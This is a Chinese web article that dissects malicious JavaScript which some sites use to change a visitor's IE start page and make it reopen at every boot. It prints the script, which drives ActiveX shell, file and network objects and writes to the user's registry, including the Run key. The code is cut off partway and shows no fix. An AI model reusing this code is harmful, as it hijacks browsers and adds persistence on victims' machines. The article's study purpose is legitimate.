| 关键词: createInstance 用户 GetObject setCLSID HKCUSoftwareMicr 注册表 网站 JavaScript JavaHouse RegWrite |
许多网友纷纷指出有的网站不择手段,当用户访问过它们的网页后,不仅IE默认首 页被篡改了,而且每次开机后IE都会自动弹出访问该网站。 我们通过对下面这段JavaScript程序的解剖,希望读者能明白其究竟,并掌握修复 的方法。网站应该用丰富精彩的栏目来吸引访问者,希望通过对用户注册表的恶意篡改 来达到提高访问量的目的不仅会事得其反,更是一种不道德的行为。 本代码由子昂轩编辑制作,仅供学习研究之用。 <!-- Begin set start page brought to u by JavaHouse.126.com--> <SCRIPT language=JavaScript> document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXCompon ent></APPLET>"); function f(){ try { //ActiveX初始化过程(为达到修改用户注册表所必须的准备程序) a1=document.applets[0]; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); try { if (documents .cookie.indexOf("Chg") == -1) //以下是检测用户注册表并修改相应的键值 { Shl.RegWrite ("HKCUSoftwareMicrosoft Internet ExplorerMainStart Page", "http://JavaHouse.126.com/" );//修改用户InternetExplorer浏览器的默认主页 Shl.RegWrite ("HKCUSoftwareMicrosoftWindows CurrentVersionRun" |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|